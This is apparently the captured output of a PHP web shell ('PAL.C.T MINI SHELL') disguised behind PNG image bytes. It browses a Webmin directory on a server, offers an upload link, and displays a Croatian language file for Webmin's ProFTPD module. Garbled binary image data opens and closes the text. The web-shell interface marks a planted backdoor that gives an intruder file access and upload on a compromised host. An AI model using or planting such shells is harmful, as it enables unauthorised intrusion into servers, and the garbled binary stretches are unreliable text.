php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/proftpd/lang/
upload
files >> //usr/libexec/webmin/proftpd/lang/hr.auto

index_title=ProFTPD poslužitelj
index_eproftpd=ProFTPD poslužitelj $1 nije pronađen u vašem sustavu. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
index_eproftpd2=Čini se da program $1 nije ProFTPD poslužitelj. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna. Izlaz iz naredbe $3 bio je : $4 
index_eversion=Verzija $1 poslužitelja ProFTPD ne podržava Webmin.
index_econf=Konfiguracijska datoteka ProFTPD $1 ne postoji ili nije valjana. Možda je vaša konfiguracija <a href='$2'>modula</a> netočna.
index_apply=Primijeni promjene
index_applymsg=Kliknite ovaj gumb kako biste primijenili trenutnu konfiguraciju slanjem SIGHUP signala u pokrenuti ProFTPD postupak.
index_applymsg2=Kliknite ovaj gumb kako biste primijenili trenutnu konfiguraciju zaustavljanjem i ponovnim pokretanjem ProFTPD-a.
index_start=Pokrenite poslužitelj
index_startmsg=Kliknite ovaj gumb za pokretanje FTP poslužitelja s trenutnom konfiguracijom. Također možete konfigurirati poslužitelj da se automatski pokrene po potrebi pomoću modula <a href='$1'>Internet usluge</a>.
index_startmsg2=Kliknite ovaj gumb za pokretanje FTP poslužitelja s trenutnom konfiguracijom. Također možete konfigurirati poslužitelj da se automatski pokrene prema potrebi pomoću inetd-a ili nekog sličnog programa.
index_stop=Zaustavi poslužitelj
index_stopmsg=Kliknite ovaj gumb kako biste zaustavili FTP poslužitelj, što će spriječiti da se novi FTP klijenti povezuju.
index_return=glavni izbornik
index_virts=Virtualni poslužitelji
index_virt=Virtualni poslužitelj
index_type=Vrsta poslužitelja
index_addr=Adresa
index_name=Naziv poslužitelja
index_port=FTP priključak
index_defserv=Zadani poslužitelj
index_defdesc=Rukuje bilo FTP vezama koje virtualni poslužitelji ne upravljaju.
index_any=bilo koji
index_vdesc=Obrađuje sve veze na $1 
index_eip=&lt;Nepoznati&gt;
index_global=Globalna konfiguracija
index_create=Stvaranje virtualnog poslužitelja
index_version=ProFTPd verzija $1 
index_proftpd=ProFTPD

efailed=Spremanje $1 nije uspjelo

type_0=Opcije umrežavanja
type_1=Opcije zapisivanja
type_2=Datoteke i mape
type_3=Kontrola pristupa
type_4=razni
type_5=Korisnik i grupa
type_6=Ovjera

virt_title=Opcije virtualnog poslužitelja
virt_header1=Za $1 
virt_header2=Za zadani poslužitelj
virt_header3=Opcije $1 
virt_anon=Anonimni FTP
virt_header=Opcije po direktoriju i po naredbi
virt_dir=Imenik $1 
virt_limit=Naredbe $1 
virt_adddir=Dodavanje opcija u imeniku za ..
virt_addlimit=Dodajte opcije po naredbi za ..
virt_path=Put direktorija
virt_cmds=FTP naredbe
virt_return=virtualni poslužitelj
virt_virt=Konfiguriranje virtualnog poslužitelja
virt_edit=Uređivanje direktiva

vserv_title=Konfiguriranje virtualnog poslužitelja
vserv_addr=Adresa
vserv_name=Naziv poslužitelja
vserv_port=FTP priključak
vserv_delete=Izbriši virtualni poslužitelj
vserv_eaddr=Nedostaje ili nije valjana adresa
vserv_eport=Nedostaje ili nevažeći broj porta
vserv_ename=Nedostaje naziv poslužitelja

anon_title=Anonimne FTP mogućnosti
anon_header1=U virtualnom poslužitelju $1 
anon_header2=Na zadanom poslužitelju
anon_anon=Konfigurirajte anonimni FTP
anon_return=anonimne FTP opcije
anon_header3=Za anonimni FTP u virtualnom poslužitelju $1 
anon_header4=Za anonimni FTP na zadanom poslužitelju

aserv_title=Konfigurirajte anonimni FTP
aserv_create=Postavljanje anonimnog FTP-a
aserv_root=Ograniči se na direktorij
aserv_user=Pristupite datotekama kao korisnik
aserv_group=Pristupite datotekama kao grupi
aserv_err=Spremanje anonimnog FTP-a nije uspjelo
aserv_eroot=Nedostaje ili je nevažeći chroot direktorij
aserv_euser=Nedostaje ili nije važeći Unix korisnik
aserv_egroup=Nedostaje ili nije važeća Unix grupa
aserv_desc=Anonimni FTP još nije postavljen za ovaj virtualni poslužitelj. Pomoću ovog obrasca postavite početne mogućnosti konfiguracije.

dir_title=Opcije po direktoriju
dir_header2=Za direktorij $1 na zadanom poslužitelju
dir_header1=Za direktorij $1 u virtualnom poslužitelju $2 
dir_edit=Uređivanje direktiva
dir_return=opcije po direktoriju
dir_header3=Opcije $1 u $2 
dir_header=Opcije po naredbi
dir_dir=Konfiguriranje imenika
dir_header4=Za direktorij $1 u anonimnom FTP-u
dir_header5=Za globalni direktorij $1 

manual_title=Uređivanje direktiva
manual_header=Upotrijebite donji tekstni okvir za ručno uređivanje ProFTPD smjernica u $1 koje se primjenjuju na ovaj virtualni poslužitelj, direktorij ili naredbe.
manual_configs=Uređivanje datoteka za konfiguriranje
manual_ecannot=Nije vam dopušteno ručno uređivanje naredbi
manual_file=Uređivanje direktiva u datoteci:
manual_efile=Nevažeća konfiguracijska datoteka ProFTPd
manual_etest=Otkrivena je pogreška konfiguracijske datoteke : $1 

limit_title=Opcije po naredbi
limit_header4=Za naredbe $1 u direktoriju $2 
limit_header2=Za naredbe $1 na zadanom poslužitelju
limit_header1=Za naredbe $1 u virtualnom poslužitelju $2 
limit_edit=Uređivanje direktiva
limit_limit=Konfigurirajte naredbe
limit_header3=Opcije $1 za naredbe $2 
limit_return=mogućnosti po naredbi
limit_header5=Za naredbe $1 u anonimnom FTP-u
limit_header6=Za naredbe $1 u datoteci $2 
limit_header7=Za naredbe $1 globalno

lserv_title=Konfigurirajte naredbe
lserv_cmd=FTP naredbe
lserv_delete=Izbriši naredbe config
lserv_err=Spremanje naredbi nije uspjelo
lserv_ecmd=Nije odabrana nijedna naredba

dserv_title=Konfiguriranje imenika
dserv_dir=Put direktorija
dserv_err=Spremanje direktorija nije uspjelo
dserv_edir=Nedostaje staza direktorija
dserv_delete=Izbriši konfiguraciju direktorija
dserv_eanondir=Imenik mora biti pod anonimnim FTP mapama

mod_core_type=Vrsta poslužitelja
mod_core_inetd=Bježi od Inetda
mod_core_stand=Samostalan demon
mod_core_port=Slušaj na luci
mod_core_eport=Nedostaje ili nevažeći broj porta
mod_core_servername=Naziv poslužitelja prikazan korisnicima
mod_core_eservername=Nedostaje naziv poslužitelja
mod_core_defaultserver=Koristite li ovaj virtualni poslužitelj prema zadanim postavkama?
mod_core_instances=Maksimalno istodobne sesije
mod_core_einstances=Nedostaje ili nevažeći broj sesija
mod_core_umask=Novi datotečni umask
mod_core_octal=Octalna maska
mod_core_umask_d=Nova maska direktorija
mod_core_eumask=Nedostaje ili nevažeći umask
mod_core_user=Pokreni kao Unix korisnik
mod_core_uname=Korisničko ime
mod_core_uid=UID
mod_core_group=Pokreni kao Unix grupa
mod_core_gname=Grupno ime
mod_core_gid=GID
mod_core_tlog=FTP prenosi logfile
mod_core_nowhere=Zapis je onemogućen
mod_core_etlog=Nedostaje ili nije važeći logfile prijenosa
mod_core_accessdeny=Poruka prijave nije uspjela
mod_core_accessgrant=Poruka za prijavu uspješna
mod_core_adall=Politika kontrole pristupa
mod_core_addefault=Isto kao roditelj
mod_core_allowall=Dopustite svim klijentima
mod_core_denyall=Odbiti sve klijente
mod_core_filter=Dopuštene FTP naredbe regexp
mod_core_foreign=Želite li omogućiti prijenos stranih podataka?
mod_core_overwrite=Želite li prepisati datoteke?
mod_core_restart=Želite li dopustiti ponovo pokrenuta preuzimanja?
mod_core_restart2=Želite li dopustiti ponovo pokrenuti prijenose?
mod_core_require=Zahtijevate lozinku za anonimnu prijavu?
mod_core_anongroup=Grupe koje tretiraju članove kao anonimne
mod_core_eanongroup=Nije unesena anonimna grupa
mod_core_authalias=Želite li dopustiti samo otuđenim korisnicima prijavu?
mod_core_authusingalias=Koristite alias lozinku za anonimnu prijavu?
mod_core_bind=Vezati za adresu
mod_core_bind_all=Sve adrese
mod_core_ebind=Nedostaje ili nije važeća adresa vezanja
mod_core_cdpath=CD direktoriji
mod_core_classes=Želite li omogućiti nastavu za kontrolu pristupa?
mod_core_cls=Klase kontrole pristupa
mod_core_cname=Naziv klase
mod_core_ctype=Vrsta i vrijednost
mod_core_climit=Maksimalne veze
mod_core_cregex=Podudarnost imena klijenta
mod_core_cip=Klijenta IP mreža/CIDR
mod_core_eclimit=Nedostaju ili nevažeće maks. Veze
mod_core_ecregex=Nedostaje podudaranje imena domaćina klijenta
mod_core_ecip=IP mreža mreže koja nedostaje ili nije važeća/CIDR
mod_core_buffer=Maksimalna duljina naredbe FTP
mod_core_ebuffer=Nedostaje ili nije važeća maksimalna duljina naredbe
mod_core_transfer=Zadani način prijenosa
mod_core_binary=Binarni
mod_core_ascii=ASCII
mod_core_defer=Odgoditi poruku dobrodošlice do nakon prijave?
mod_core_aborted=Želite li izbrisati prekinute prijenose?
mod_core_dfilter=Odbijene FTP naredbe regexp
mod_core_display=Datoteka poruka prije prijave
mod_core_none=nijedan
mod_core_edisplay=Nedostaje datoteka s porukom prije prijave
mod_core_firstcd=Ime datoteke README
mod_core_firstcdt=Uvijek pokaži
mod_core_efirstcd=Nedostaje naziv datoteke README
mod_core_goaway=Previše datoteke s vezama
mod_core_egoaway=Nedostaje previše datoteka za povezivanje
mod_core_login=Datoteka s porukom nakon prijave
mod_core_elogin=Nedostaje datoteka s porukom nakon prijave
mod_core_quit=Datoteka s porukama odjavljivanja
mod_core_equit=Nedostaje datoteka s porukom odjave
mod_core_gowner=Vlasnik prenesenih datoteka grupe
mod_core_egowner=Nedostaje ili nije važeća skupina za prenesene datoteke
mod_core_grouppassword=Grupne lozinke
mod_core_gpname=Unix grupa
mod_core_gppass=Zaporka
mod_core_gpdef=Ostavite nepromijenjeno
mod_core_egpname=Nevažeće ime grupe Unix
mod_core_hstor=Sakriti datoteke tijekom prijenosa?
mod_core_hgroup=Sakrij datoteke u vlasništvu grupa
mod_core_ehgroup=Nevažeće ime grupe za skrivanje datoteka
mod_core_hnoaccess=Sakriti datoteke kojima nije moguće pristupiti?
mod_core_huser=Sakrij datoteke u vlasništvu korisnika
mod_core_ehuser=Nevažeće korisničko ime za sakrivanje datoteka
mod_core_ident=Potražite udaljeno korisničko ime za identitet?
mod_core_ihidden=Da li skrivene datoteke nedostupne?
mod_core_masq=Maskarada kao adresa
mod_core_masq_def=Koristite stvarnu adresu
mod_core_emasq=Nedostaje ili neispravna adresa maskare
mod_core_maxc=Maksimalna prijava istovremeno
mod_core_maxc1=Neograničen
mod_core_maxcmsg=Poruka o pogrešci pri prijavi
mod_core_emaxc=Manjkajući ili nevažeći maksimalni broj prijava
mod_core_maxch=Maksimalna istodobna prijava po hostu
mod_core_maxcu=Maksimalna istodobna prijava po korisniku
mod_core_logins=Maksimalno neuspjele prijave po sesiji
mod_core_elogins=Nedostaje ili nevažeći broj neuspjelih prijava
mod_core_rfc2228=Slanje odgovora u stilu RFC2228?
mod_core_pasv=Paleta PASV priključaka
mod_core_pasvr=Min. - max
mod_core_epasv=Nedostaje ili nevažeći broj porta PASV
mod_core_pathallow=Dopušteno učitavanje regex naziva datoteke
mod_core_any=bilo koji
mod_core_pathdeny=Odbijeno preneseno ime datoteke
mod_core_pidfile=Pišite PID datoteci
mod_core_epidfile=Nedostaje ili nije važeća PID datoteka
mod_core_shell=Dozvoljava li prijavu samo korisnici s važećim shell?
mod_core_cpulimit=Ograničenja resursa za CPU
mod_core_ecpulimit=Ograničenje resursa za CPU
mod_core_memlimit=Ograničenja memorijskih resursa
mod_core_ememlimit=ograničenje resursa memorije
mod_core_filelimit=Otvorite ograničenja datoteka
mod_core_efilelimit=ograničenje otvorenih datoteka
mod_core_soft=Soft limit:
mod_core_hard=Tvrdi limit:
mod_core_max=Maksimum
mod_core_esoft=Nedostaje ili nije važeći soft $1 
mod_core_ehard=Nedostaje ili je nevaljan tvrdi $1 
mod_core_score=Put do kataloga tablice
mod_core_escore=Nedostaje ili nevažeći imenik tablice
mod_core_admin=E-adresa administratora poslužitelja
mod_core_eadmin=Nedostaje ili nevažeća adresa e-pošte
mod_core_identmsg=Poruka o vezi s klijentom
mod_core_identmsg_def=Prikaži zadanu poruku
mod_core_links=Prikaži simbolične veze?
mod_core_tight=Vezati samo potrebne luke?
mod_core_facility=Objekt dnevnika sustava
mod_core_level=Razina zapisnika sustava
mod_core_backlog=Duljina reda zaostajanja TCP-a
mod_core_ebacklog=Nedostaje ili nije važeća dužina čekanja zaostalih predmeta
mod_core_nodelay=Koristite opciju TCP_NODELAY utičnice?
mod_core_rwindow=Veličina prozora TCP primanja
mod_core_erwindow=Nedostaje ili nije važeća veličina prozora za primanje
mod_core_swindow=TCP poslati veličinu prozora
mod_core_eswindow=Nedostaje ili nije važeća veličina prozora za slanje
mod_core_gmt=Prikaži vremena u GMT?
mod_core_tidle=Prije isključenja isključite vrijeme mirovanja
mod_core_etidle=Nedostaje ili nije valjano vrijeme mirovanja
mod_core_secs=sekundi
mod_core_tlogin=Vrijeme je za pričekati autentifikaciju
mod_core_etlogin=Nedostaje ili nije valjano vrijeme provjere autentičnosti
mod_core_ttransfer=Vrijeme je za pričekati prvi transfer
mod_core_ettransfer=Nedostaje ili nije valjano prvo vrijeme prijenosa
mod_core_tstalled=Vrijeme je za pričekati zastajkivan prijenos podataka
mod_core_etstalled=Nedostaje ili nije valjano zaustavljeno vrijeme prijenosa
mod_core_ftpusers=Želite li odbiti korisnike u/etc/ftpusers datoteci?
mod_core_hostsallow=Domaćini će dopustiti datoteku
mod_core_ehostsallow=Domaćini koji će dopustiti datoteku ne postoje
mod_core_hostsdeny=Domaćini će odbiti datoteku
mod_core_ehostsdeny=Domaćini za odbijanje datoteke ne postoje
mod_core_revdns=Izvode li obrnute DNS pretrage klijentovih adresa?
mod_core_userdir=Chroot poddirektoriju korisničkog imena?
mod_core_ualias=Pseća imena korisnika
mod_core_afrom=Korisničko ime za prijavu
mod_core_ato=Pravo korisničko ime
mod_core_eafrom=Nevažeće korisničko ime za prijavu u pseudonimu
mod_core_eato=Nedostaje ili nije ispravno pravo korisničko ime u pseudonimu
mod_core_uowner=Vlasnik prenesenih datoteka
mod_core_euowner=Nedostaje ili nije važeći vlasnik za prenesene datoteke
mod_core_userpassword=Poništavaju korisničke lozinke
mod_core_upname=Unix korisnik
mod_core_uppass=Zaporka
mod_core_updef=Ostavite nepromijenjeno
mod_core_eupname=Nevažeće korisničko ime Unixa
mod_core_wtmp=Napisati prijave u wtmp?
mod_core_allow_deny=Ograniči pristup
mod_core_allowdeny=Dopustite tada zanijekati
mod_core_denyallow=Odbiti tada dopustiti
mod_core_allow=dopustiti
mod_core_deny=poreći
mod_core_mode_0=svi
mod_core_mode_1=nijedan
mod_core_mode_2=IP adresa
mod_core_mode_3=Mreža
mod_core_mode_4=Ime računala
mod_core_cond=Stanje
mod_core_action=Radnja
mod_core_agroup=Dopuštanje samo grupama
mod_core_auser=Dopusti samo korisnicima
mod_core_all=svi
mod_core_dgroup=Negirajte grupe
mod_core_duser=Zabrani korisnicima
mod_core_eip='$1' nije valjana IP adresa
mod_core_enet='$1' nije valjana mrežna adresa
mod_core_ehost='$1' nije valjano ime računala

mod_ls_fakegroup=Lažna skupina u popisima direktorija?
mod_ls_fakeuser=Lažni korisnik u popisima direktorija?
mod_ls_fakemode=Lažna dopuštenja u popisima direktorija
mod_ls_nofake=Prava dopuštenja
mod_ls_efakemode=Lažna dopuštenja moraju biti u oktalu
mod_ls_dotfiles=Prikaži datoteke koje počinju sa. u popisima?
mod_ls_ls=Dodatne mogućnosti ls
mod_ls_els=Nedostaju dodatne mogućnosti ls
mod_ls_fakeasuser=Da, kao korisnik ..
mod_ls_fakesameuser=Povezani korisnik
mod_ls_fakeasgroup=Da, kao grupa ..
mod_ls_fakesamegroup=Povezana grupa
mod_ls_efakeuser=Nedostaje ili je nevažeći lažni korisnik
mod_ls_efakegroup=Nedostaje ili je nevaljana lažna skupina
mod_ls_options=Opcije popisa direktorija
mod_ls_strict=Preglasiti korisničke mogućnosti?

mod_auth_chdir=Početna direktorija za prijavu
mod_auth_echdir=Nedostaje ili nije važeći početni imenik
mod_auth_chroot=Ograničite korisnike na direktorije
mod_auth_home=Domaći direktorij
mod_auth_none=nijedan
mod_auth_dir=Imenik
mod_auth_groups=Unix grupe
mod_auth_all=Svatko
mod_auth_edir=Nevažeći chroot direktorij
mod_auth_egroups=Nisu unesene Unix grupe za chroot
mod_auth_echroot=Nedostaje ili je nevažeći chroot direktorij
mod_auth_login=Ne tražite lozinku ako je prijava odbijena?
mod_auth_root=Želite li dopustiti prijavu po korijenu?

mod_site_chmod=Dozvoli chmod naredbu?

mod_unixpw_ufile=Zamjenska datoteka za Unix lozinku
mod_unixpw_eufile=Nedostaje ili nije važeća Unix datoteka zaporke
mod_unixpw_gfile=Zamijenite datoteku Unix grupe
mod_unixpw_egfile=Nedostaje ili nije važeća Unix datoteka datoteke
mod_unixpw_none=nijedan
mod_unixpw_pam=Uvijek tretirajte PAM kao autorski?
mod_unixpw_persist=Da li je datoteka lozinke stalno otvorena?

mod_log_syslog=Pogreške u zapisniku za datoteku
mod_log_sysdef=Dnevnik sustava
mod_log_esyslog=Nedostaje ili nije važeća datoteka zapisnika
mod_log_extended=Prilagođene zapisnike
mod_log_file=zapisnik
mod_log_cmd=Za FTP naredbe
mod_log_nick=Format zapisa
mod_log_all=svi
mod_log_ecmd=Nedostaju FTP naredbe
mod_log_enick=Nedostaje ili nevaljano ime formata dnevnika
mod_log_ecmdnick=Morate unijeti format zapisa prilikom određivanja naredbi za zapisnik
mod_log_nickname=Naziv formata
mod_log_fmt=Format niza
mod_log_format=Prilagođeni formati dnevnika
mod_log_enickname=Nedostaje ili nevažeće ime formata
mod_log_efmt=Nedostaje string formata

mod_pam_pam=Koristite PAM za provjeru autentičnosti?
mod_pam_config=Autentifikacija pomoću PAM usluge
mod_pam_econfig=Nedostaje ili nije važeća PAM usluga

mod_readme_display=Obavijesti korisnika o readme datotekama koje odgovaraju
mod_readme_none=nijedan
mod_readme_edisplay=Nedostaje obrazac datoteka readme datoteke

start_err=Nije uspio pokretanje FTP poslužitelja
start_einetd=Ne možete pokrenuti demon poslužitelja kad je u inetd modu.

stop_err=Zaustavljanje FTP poslužitelja nije uspjelo
stop_einetd=Ne možete zaustaviti demon poslužitelja kad je u inetd modu.
stop_erun=Ne trčim

apply_err=Primjena konfiguracije FTP nije uspjela
apply_egone=Nema više trčanja

ftpaccess_title=Datoteke s mogućnostima po direktoriju
ftpaccess_desc=Dodatne mogućnosti po direktoriju mogu se odrediti u datoteci (obično se zove <tt>.ftpaccess</tt>) u svakoj mapi. Opcije se primjenjuju na sve datoteke u tom direktoriju i na sve podmape, osim ako ih ne nadjača druga datoteka opcija.
ftpaccess_create=Stvorite datoteku s opcijama
ftpaccess_find=Pronalaženje datoteka datoteka
ftpaccess_auto=Pod anonimnim
ftpaccess_from=Iz imenika
ftpaccess_return=popis datoteka opcija

ftpusers_title=Zabranjeni korisnici FTP-a
ftpusers_desc=Ako je omogućeno pod ikonom <tt>Provjera identiteta</tt>, korisnicima navedenima u nastavku iz datoteke $1 bit će onemogućen pristup prijavi FTP korisniku.

ftpindex_title=Datoteka s mogućnostima po direktoriju
ftpindex_delete=Izbrisati dateoteku
ftpindex_opts=Opcije po direktoriju
ftpindex_edit=Uređivanje direktiva
ftpindex_limit=Opcije po naredbi
ftpindex_addlimit=Dodajte opcije po naredbi za ..
ftpindex_header2=$1 u $2 
ftpindex_return=datoteka opcija po direktoriju
ftpindex_header=Za $1 

find_err=Pronalaženje datoteka s opcijama nije uspjelo
find_eanon=Anonymous FTP nije postavljanje na bilo koji virtualni poslužitelj

log_global=Izmijenjene su globalne $1 mogućnosti
log_ftpusers=Izmijenjeni su odbijeni korisnici FTP-a
log_virtc=Izrađen poslužitelj $1 
log_virts=Rekonfigurirani poslužitelj $1 
log_virtd=Izbrisan poslužitelj $1 
log_virtm=Ručno uređeni poslužitelj $1 
log_virt=Izmijenjeno $1 na poslužitelju $2 
log_dirc=Izrađen direktorij $1 
log_dirc_l=Izrađen direktorij $1 na poslužitelju $2 
log_dirs=Izmijenjeni imenik $1 
log_dirs_l=Promijenjen je direktorij $1 na poslužitelju $2 
log_dird=Izbrisan je direktorij $1 
log_dird_l=Izbrisan je direktorij $1 na poslužitelju $2 
log_dirm=Ručno uređeni imenik $1 
log_dirm_l=Ručno uređeni imenik $1 na poslužitelju $2 
log_dir=Promijenjeno $1 u direktoriju $2 
log_dir_l=Promijenjeno $1 u imeniku $2 na serveru $3 
log_limitc=Izrađene su opcije po naredbi za $1 
log_limits=Rekonfigurirane opcije po naredbi za $1 
log_limitd=Izbrisane opcije po naredbi za $1 
log_limitm=Ručno uređene mogućnosti po naredbi za $1 
log_limit=Izmijenjeno je $1 u opcijama po naredbi za $2 
log_ftpaccessc=Stvorena datoteka opcija $1 
log_ftpaccessd=Izbrisana datoteka opcija $1 
log_ftpaccessm=Datoteka s mogućnostima ručno uređenih $1 
log_ftpaccess=Izmijenjena $1 u datoteci opcija $2 
log_anonc=Postavljanje anonimnog FTP-a za poslužitelj $1 
log_anons=Rekonfiguriran anonimni FTP za poslužitelj $1 
log_anond=Izbrisan je anonimni FTP za poslužitelj $1 
log_anonm=Ručno uređeni anonimni FTP za poslužitelj $1 
log_anon=Promijenjen je $1 u anonimni FTP za poslužitelj $2 
log_start=Počeo proftpd
log_apply=Primijenjene promjene

eafter=Provjera konfiguracije nije uspjela: $1 Promjene nisu spremljene.
proftpd_apply=Primijeni promjene
proftpd_stop=Zaustavite ProFTPd
proftpd_start=Pokrenite ProFTPd
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`